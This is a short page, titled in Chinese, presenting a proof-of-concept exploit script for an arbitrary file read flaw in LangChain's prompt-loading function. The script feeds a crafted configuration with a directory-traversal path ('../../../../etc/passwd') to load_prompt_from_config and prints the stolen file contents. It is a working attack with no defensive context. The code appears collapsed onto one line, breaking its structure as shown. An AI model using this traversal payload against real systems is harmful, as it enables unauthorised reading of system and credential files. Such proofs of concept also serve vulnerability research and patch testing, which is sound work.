CVE-2026-34070: LangChain 任意文件读取漏洞

import json from langchain_core.prompts.loading import load_prompt_from_config # PoC for CVE-2026-34070: Arbitrary File Read in LangChain # This script demonstrates how a malicious configuration can lead to file reading. # Define a malicious configuration object # The attacker controls the 'path' parameter to perform directory traversal malicious_config = { "_type": "prompt", # Using directory traversal to access sensitive files # Note: The vulnerable function checks for file extensions (e.g., .json, .yaml, .txt) # This example targets a file that might exist and match allowed types, or demonstrates the path injection. "path": "../../../../../../../../etc/passwd" } try: print("Attempting to load malicious prompt configuration...") # In vulnerable versions (< 1.2.22), this reads the file specified in 'path' prompt_obj = load_prompt_from_config(malicious_config) print("[+] Exploit successful! File content read:") print(prompt_obj) except Exception as e: print(f"[-] Exploit failed or patched: {e}")